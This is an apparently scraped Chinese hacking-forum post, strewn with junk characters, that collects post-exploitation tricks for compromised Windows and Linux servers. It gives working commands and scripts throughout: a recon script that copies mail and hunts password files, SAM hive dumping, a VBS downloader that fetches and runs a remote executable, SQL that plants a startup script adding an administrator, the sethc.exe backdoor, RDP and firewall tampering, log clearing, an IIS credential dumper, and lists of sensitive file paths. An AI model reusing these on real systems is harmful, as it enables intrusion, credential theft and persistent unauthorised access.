1 R5 o' ]+ Y+ c3 G$ S（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
7 k' x! p1 d7 p7 P6 ~: j  |————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
. n- r, D' y2 T- E# _alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
9 [0 R, F; ^# \* e! [& A- ~{
注：
1 H9 o- U* O- f( V关于tar的打包方式,linux不以扩展名来决定文件类型。
9 z, b3 _. \8 n7 G若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
; l" X2 b& t7 u# p. g
; j9 m3 U4 v1 ]" t$ I( Z  s提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
6 `  k9 x& G! @. n, b6 [5 R命令行RAR打包~~·
, Z' \3 l! ~5 D. C( s0 s- yrar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
' s6 C6 J; P. z- j5 S. Kfor window：

@echo off
  j! `  Z* n7 ?' \- q* r( N: Cecho #########system info collection
systeminfo
ver
hostname
8 U% K* D& E0 _; x2 W, dnet user
( P8 H' Q5 @( E4 N7 c/ pnet localgroup
net localgroup administrators
net user guest
  ?! H9 ~& k- {net user administrator

echo #######at- with   atq#####
echo schtask /query

9 {' B# K% c, A$ A2 qecho
8 m) c* ]% C& X# I; A6 h" ~* |echo ####task-list#############
9 k9 V$ J& S9 A2 |9 M7 btasklist /svc
* F1 B, @: t+ e+ X' Aecho
echo ####net-work infomation
ipconfig/all
route print
arp -a
) P' p$ G( m; x9 ~1 K( q6 d$ ~netstat -anipconfig /displaydns
echo
  [" D0 A/ y1 z: z& h# }echo #######service############
9 u% B: T# q2 L* _2 U1 d' esc query type= service state= all
echo #######file-##############
cd \
0 |7 l1 U: W! H1 x* v3 Xtree -F
for linux：

. d( T3 N8 E  G! Z2 \0 z#!/bin/bash

: x6 q% \5 S5 }  X! y# }8 y9 \echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
3 C, H' a- S1 z  A$ Hcat /proc/meminfo
echo
cat /proc/cpuinfo
! B  ~# w$ D8 ~: }2 d, I4 e- I* mecho
rpm -qa 2>/dev/null
######stole the mail......######
0 U; P5 F% ]  d* p6 j/ @cp -a /var/mail /tmp/getmail 2>/dev/null


9 i* D+ @" e, g# I/ O; becho 'u'r id is' `id`
% N. ?3 x- Z! B, M; ?' r) |+ jecho ###atq&crontab#####
atq
crontab -l
) E$ I8 w- |  {/ l3 g* V, U: F/ q+ Aecho #####about var#####
( o5 R1 Q+ T4 z: ~( R( n9 f$ p' sset
- B2 V, |! a' m+ W4 ^+ A
echo #####about network###
6 }1 E/ I0 ?1 {+ i- v####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
. B- g6 I- J7 M" jipconfig -a
arp -v
( L& E$ ?( g  C) I9 U6 E: gecho ########user####
cat /etc/passwd|grep -i sh

8 Y- X  \$ I& ?' m/ cecho ######service####
chkconfig --list

7 D" C* f, h2 k7 D$ Z1 D6 I! gfor i in {oracle,mysql,tomcat,samba,apache,ftp}
4 P- e+ H- x5 k6 G' S2 Bcat /etc/passwd|grep -i $i
done

% k1 s% ]. o9 K: p0 K, Rlocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
" J$ K2 r; w) \sleep 5
/ I# K& v" g, _locate config >>/tmp/sysconfig 2>/dev/null
* e4 g, V$ }) D: jsleep 5

###maybe can use "tree /"###
9 t2 n  n0 G! s2 H* }& i/ Zecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
& G- S  J/ e1 u! F3 P+ |rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
3 h7 ^! t4 ]+ P0 {2 M# K  _               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
4 Y8 c# A$ A! W/ c! e——————————————
4、vbs 下载者
  n7 @+ G* q) O3 z1
# M& s' s2 b. P4 ^# M1 ~3 F" `echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
" A! L' g3 T5 d6 O0 R0 i% pecho sGet.Type = 1 >>c:\windows\cftmon.vbs
. z: }8 _3 X* {+ s. P5 |- @4 Wecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
# P  {+ C  t5 F8 A9 }; Pecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
( {! ?, C( F# Ccftmon.vbs

& b  ]! `+ V9 h2
On Error Resume Nextim iRemote,iLocal,s1,s2
: N$ F# P2 Z8 n5 |iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
: V' f" E4 ^) ]) @7 o" qs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
3 ]6 o, I# R- N1 v5 {9 R# e5 z' TSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
4 ?# z, @( ?2 i4 l* JsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
- x; G) y4 _* X5 x——————————————————
5、
# E# W( t* w9 ]- ~& D. r6 H, @' H1.查询终端端口
8 P- ^, t0 k5 TREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
, x6 Z( {' h; K0 f( M) l* p3 G2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
# w1 R* I& U: Z. J. h  K2 H7 GREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
. R1 T. D5 E$ H! _  l' {REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
- Q: Z' Q, J  }9 J: n8 O) \4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
% j4 M7 f0 }$ ]  B————————————————
6 e+ Q% U% y6 W# o$ z+ D+ B* K6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
: j* `& O7 {6 y3 winsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
: V( n7 Y8 V/ s1 w1 a/ X; Q( ]8 D+ o7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
; j) }' p0 h; I, _7 L8、for /d %i in (d:\freehost\*) do @echo %i

+ _1 Z1 z, D3 X- Z1 `列出d的所有目录
  
/ H$ Y1 C5 C9 f' W" J2 [2 I" W  for /d %i in (???) do @echo %i
) Y- J2 L1 m9 N- W6 t0 y0 l; c
把当前路径下文件夹的名字只有1-3个字母的打出来
/ {+ {8 T' e1 P
: b; K& I1 `) ^5 e. N) |+ [2.for /r %i in (*.exe) do @echo %i
9 F8 s* y# `! D* y0 u  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

* S/ }- R; c2 t% {6 _3.for /f %i in (c:\1.txt) do echo %i
# o0 B, N2 z$ M& x4 g% d  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
2 q  N- `7 R% z
* [0 D5 S( Z( ~; H5 f4 o4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
$ e; U" r) I$ t6 V- u7 k  a9 i/ x
0 f% Y7 w) g8 t/ Q$ g- k  delims=后的空格是分隔符 tokens是取第几个位置
, h  ^0 ^2 @2 p4 z( o——————————
/ ^5 O5 |) l& f4 N1 u- ]$ N3 I3 a3 k3 }●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
; i) A+ k  }% g* S
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
) e" E) p! n, r( O6 D( J2 V修改PortNumber.
/ B. m) l6 q- }' A; L5 `% {! o
/ u* b6 s) ^/ v. G6 ^( A( O3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

1 s* L3 U& F& \! f5 F  |! D4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
5 e9 g% j2 j6 t
1 ]- K) T5 y5 D4 d' J- J4 X5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

4 Q8 A$ \5 H  _* v6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
. X) J6 [% p1 l/ s' Jnetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
0 g/ n1 o0 x2 h8 ~3 qreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

5 Y. @" w) R+ u9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
/ I! E% e/ `$ ^& y: w8 w1 Xreg save hklm\security c:\security.hive

( v4 }! |" W9 n10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
, f" W# q9 Z- v, ~/ S' Q/ \2 t: L
8 W( \' j$ _$ y5 j# J- kreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
' {  X- {8 n. iSet ObjService=GetObject("IIS://LocalHost/W3SVC")
0 Y2 ]$ F# e! aFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
0 a3 _/ e2 N# E0 p' sif IsNumeric(childObjectName)=true then
1 p" z0 s  v2 Y; h+ V# ]set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
8 N) B' Q6 k  B+ ^" f, P) T8 q6 Jend if
serverbindings=IIS.serverBindings
6 g4 U/ D: y% l. AServerComment=iis.servercomment
8 k" _; ^* {' r# n7 D. Zset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
+ s- C7 p$ r6 F9 v- X# n( rpass=iisweb.AnonymousUserPass
* D+ C/ l" ]% R* ~# {path=IIsWeb.path
3 Y; L5 b, I' w* n- C$ Klist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
( O, u! R! P2 c- vend if
Next
# P& [& M7 N) Swscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
8 ?& Z& Y  a$ ]8 D9 PWScript.Quit
$ |7 D, ~" t  b$ y" Q& \+ ^+ |复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
" Z: N) x1 }4 _  c1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
3 e0 C: C0 x6 E  D- B2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
$ g1 a& @2 N- P5 n5 E" q将folder.htt文件，加入以下代码：
9 Q8 B1 i9 a- p9 g; h<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
& r) V2 `7 D2 u</OBJECT>
复制代码
9 |8 j$ Y$ x1 `$ Y& q  z* ?然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
- @# v/ ^" C) ?( B4 fasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
& X4 L' H2 B" x0 C+ h 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
LINUX常见路径：
$ l3 {+ t) ~# H
0 S' [) M7 u) O, M: D) |/etc/passwd
* z2 o7 T& @/ ^; [/etc/shadow
/etc/fstab
' {3 n# S. S: a' G5 p4 Z/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
- r. P/ Z5 N- }" p/var/www/conf/httpd.conf
/var/www/htdocs/index.html
9 ?- k3 A. V5 i1 ~5 |# P8 x* r  ~/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
: s$ U9 B4 m( v6 s# d2 [8 Y/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
$ g5 V5 P- y& B  Y, ^/var/www/index.html
6 X: U$ Q3 |4 H3 }$ q- I# Y/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
0 o% }9 ^* W; `, ?2 A% K/opt/www/htdocs/index.html
3 z* q5 b5 H3 M0 Y, Y3 w) b/usr/local/apache/htdocs/index.html
3 Y! B1 o6 l+ |- C/usr/local/apache/htdocs/index.php
2 C6 o' m# R9 V* G8 o8 n; f1 d7 F/usr/local/apache2/htdocs/index.html
+ G0 c, r4 f; Z! Y. `/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
6 Z' d3 b! _6 }, Y: ~/etc/httpd/htdocs/index.php
8 w4 G( z" c0 x" M/etc/httpd/conf/httpd.conf
% \0 X4 i. {% r% g/etc/httpd/htdocs/index.html
; L& v6 C4 |3 e# M' a/www/php/php.ini
' X  e4 P: U' _! p& m$ u/www/php4/php.ini
: H3 O% E8 }, w9 y/ v. s/ L/www/php5/php.ini
8 \$ o" \" K8 @3 s8 g/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
+ s1 A0 O: u5 ?* j7 R/ W$ E9 ?9 K/ N/apache/apache/conf/httpd.conf
8 G3 Y) u0 z+ t/apache/apache2/conf/httpd.conf
# a0 T9 o7 |2 w# L* `4 ~! J4 @/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
0 p- _/ m( k; j! H% V& ^' `' t! e/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
1 U+ I% w& a: R9 [( D/etc/phpmyadmin/config.inc.php
4 W1 S6 x! E- z, H3 l/etc/mysql/my.cnf
* v$ Z, ^. ?8 _* E/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
3 L' J! \3 _, i6 I  {5 ^/etc/httpd/logs/error.log
; z. B. u" z6 k/ x3 J5 z/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
% V% T1 v  J) D8 _: H/home/apache2/conf/httpd.conf
- ~, f: R2 D1 W' B* K/var/log/apache/error_log
8 w# c' P* O. p. Y: y/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
. P! d/ R2 l9 r6 M% x: U! q/var/log/apache2/error_log
/var/log/apache2/error.log
4 K# q* |6 q, h$ y" R) e% d( j4 I/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
4 y; V; t. J! r; z/var/www/logs/error.log
# _- }/ U/ _* P( Q0 v  J/var/www/logs/access_log
( R. B2 ]. h; `# W8 v; {/ f/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
# |0 k8 K- x  q; I5 b: Y# k" K/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
7 }; Y* U' r( M5 \) a' \' q/var/log/error.log
3 O3 W1 d% g. a! Q& M/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
! j# l, A( ~. U2 U- A/etc/php.ini
/bin/php.ini
/ a  {' [* x7 I2 r8 k/etc/init.d/httpd
8 Z2 ~  ^# q, ?0 ?# |, ^/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
$ E6 D3 w4 v) P  w! y: z- ?4 M/usr/lib/php/php.ini
9 G6 v2 ^: ]7 V2 i6 O$ x/usr/local/etc/php.ini
1 ^2 O% w8 d/ @# e3 {7 R7 o, ]/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
4 f! k0 r/ \- ~6 p/ A  P5 b# k8 V/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
2 x9 o7 E# j; F1 O! Z3 ~$ y/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
4 h$ n  W! a2 J4 ]) L6 B. T/etc/php4.4/fcgi/php.ini
- v* S' J, Z+ T( J/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
2 c; L1 b9 y  ~6 k/ I/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
0 d3 |# F& U- Y/ `% O$ W* ?. a, n/etc/php/apache/php.ini
/etc/php/apache2/php.ini
% b4 U- p/ i5 L# p" v$ `/web/conf/php.ini
. m! d" @/ [+ t+ P/usr/local/Zend/etc/php.ini
6 e9 ~3 I, C  _2 I! d& G  X/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
& j( h, F1 h3 V/ |/etc/php/cgi/php.ini
+ l7 `' n% B6 d! s! O/etc/php4/cgi/php.ini
% f$ o  |0 u; x) N  _2 j5 N) k4 D. _: V' x/etc/php5/cgi/php.ini
/php5/php.ini
7 z5 N3 N9 u# i2 b( {4 ~/ \/php4/php.ini
/php/php.ini
* i  ]3 E0 Y$ c0 ~8 r0 S/PHP/php.ini
: J, r* E& N" i7 s2 Y; v/ @/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
' E5 \8 Q1 S0 |" y/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
4 B! W" q5 S' R7 O1 O/var/log/mysql/mysql-bin.log
/var/log/mysql.log
0 E  G1 A) o" V, `: j/var/log/mysqlderror.log
) E& O0 Q  E- Y% c; Z5 A& O7 G3 u/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
  P4 B- h9 p5 W7 E: h0 P/ q# ^/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
7 K2 ^, o! M6 T+ C( j) m! Y# I/etc/mysql/my.cnf
) R, z9 X  T$ D3 ~$ l' X- x. c/etc/my.cnf
/usr/local/cpanel/logs
) j# p, a: ~* [. l$ G/usr/local/cpanel/logs/stats_log
, g- @2 e1 X, \$ c/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
; A8 T) ^+ O: `9 [( a. @/usr/local/cpanel/logs/license_log
/ G6 r6 }& b5 z9 n8 A! O* W/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/ O6 `/ I; G7 d8 _' \$ ~# [/ X/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
c:\1.txt
/ }# w% \4 H* J. r2 ^/ `c:\a.txt

& B% Q: d. a7 {* c0 x; [c:\CMailServer\config.ini
% I# W/ A3 |& i3 H+ F' b, Qc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
* d( L/ J# J7 x8 \c:\program files\CMailServer\CMailServer.exe
# K0 |8 E6 k3 M, _5 q* i0 n/ [+ H6 mc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
" T1 j" I- }# N' k$ V) V# MC:\WINDOWS\7i24iislog4.exe
2 X' p$ j- S4 o; l8 M$ h" SC:\WINDOWS\7i24tool.exe
' D  A/ ?, [+ F1 n; s* `/ j/ F
6 l; ~  M/ n# t6 cc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
$ G. G6 R' l+ Y7 T! f
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
/ q, X) p4 ^  `: uC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
1 j' i4 j7 j3 I5 pc:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
3 u  a! r! A1 ^7 ~7 ~  t' Wc:\web\index.php
c:\www\index.php
9 g) j. k7 k8 a- _& w& s/ ~c:\WWWROOT\index.php
# w1 L7 d# F# Nc:\WWWsite\index.php
c:\web\default.html
; B: m0 z- [$ X8 X; i. q* E/ ?c:\www\default.html
5 i' r% Q' p( p6 `  Q, P) Zc:\WWWROOT\default.html
c:\website\default.html
! o5 y7 A7 Y' R; {# lc:\web\default.asp
1 o6 R4 \- b* z" d4 [c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
/ X$ J5 J( Z; Z  F2 r. sc:\web\default.php
c:\www\default.php
5 o% H8 |- K# b9 N$ ic:\WWWROOT\default.php
) A7 O8 B; u& r# D8 _5 |# Nc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
( r- B+ F% i- w3 G7 E9 Y1 vc:\windows\notepad.exe
3 R8 g! b, \2 O$ G  F- Z& ~+ @c:\winnt\notepad.exe
3 M  C' M! t$ u6 \: u9 p0 OC:\Program Files\Microsoft Office\OFFICE10\winword.exe
$ F  I1 O5 }, x% w% qC:\Program Files\Microsoft Office\OFFICE11\winword.exe
  y: }( q. V* |9 GC:\Program Files\Microsoft Office\OFFICE12\winword.exe
( c1 g3 S( T6 z& G8 jC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
) J  D  u, G$ f; w% YC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
% Y0 k3 K% x  t0 uc:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
9 _1 ?6 w3 G: z7 V7 CC:\Documents and Settings\All Users\Start Menu\desktop.ini
, z+ s$ p/ i& H, oC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
6 f9 U" y, Y3 [- D+ U, iC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
! [  d3 F- h; k( Y- D1 r/ S9 gC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
+ Z: u+ e, o+ bC:\Documents and Settings\Administrator\桌面\a.txt
' X. g' j1 G2 |2 g! B; hC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
' `; T! c6 `. u% q) K7 vE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
! y& E' r1 t; qC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
! ^, C" H9 E! U! M# l2 {, qC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
* U- u; j" j, \C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
" a- i! k' e, [" k) oC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
: O# A9 l+ _7 n! L9 t! V# GC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
5 T( W, ?: W  i; [& e" q2 ?# CC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
6 |" ~0 ^  M  \& O7 jC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
, t% \) ]$ u) c* Tc:\MySQL\MySQL Server 4.1\bin\mysql.exe
6 F0 K  Q0 [7 z5 G- @c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
8 ]! k* S) K6 i: c' }! z0 vC:\Program Files\Oracle\oraconfig\Lpk.dll
% M5 N( m, E4 Y8 e) a) eC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
8 I* a7 D7 D- L: HC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
" Q6 Z8 T% F" h: N) W  I- j: XC:\WINDOWS\system32\config\system
; T/ n/ f8 O5 b- `c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
. G- g) W, j: _+ @c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
) _( R, O3 x, j$ [c:\tomcat\bin\version.sh
( d4 a* M- g9 b3 M1 lc:\program files\tomcat6\bin\version.sh
7 l2 H; G4 j; s6 ]8 q$ sC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
' \1 R( u9 k& Y- {. n5 Bc:\Apache2\Apache2\bin\Apache.exe
) d+ d6 @# _) n# R0 K( B( m0 Cc:\Apache2\bin\Apache.exe
: [! u$ @$ k+ s4 i6 Z4 xc:\Apache2\php\license.txt
' o& g. c! G) D) i2 O4 HC:\Program Files\Apache Group\Apache2\bin\Apache.exe
& V5 o  H; |$ @! _( C/usr/local/tomcat5527/bin/version.sh
7 t, ~9 Y5 o4 f5 ^/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
" p: K2 K, [7 `. `c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
7 v7 _: U) l9 _! c2 c% B/ W0 @: ~1 Vc:\Program Files\Tencent\qq2009\qq.exe
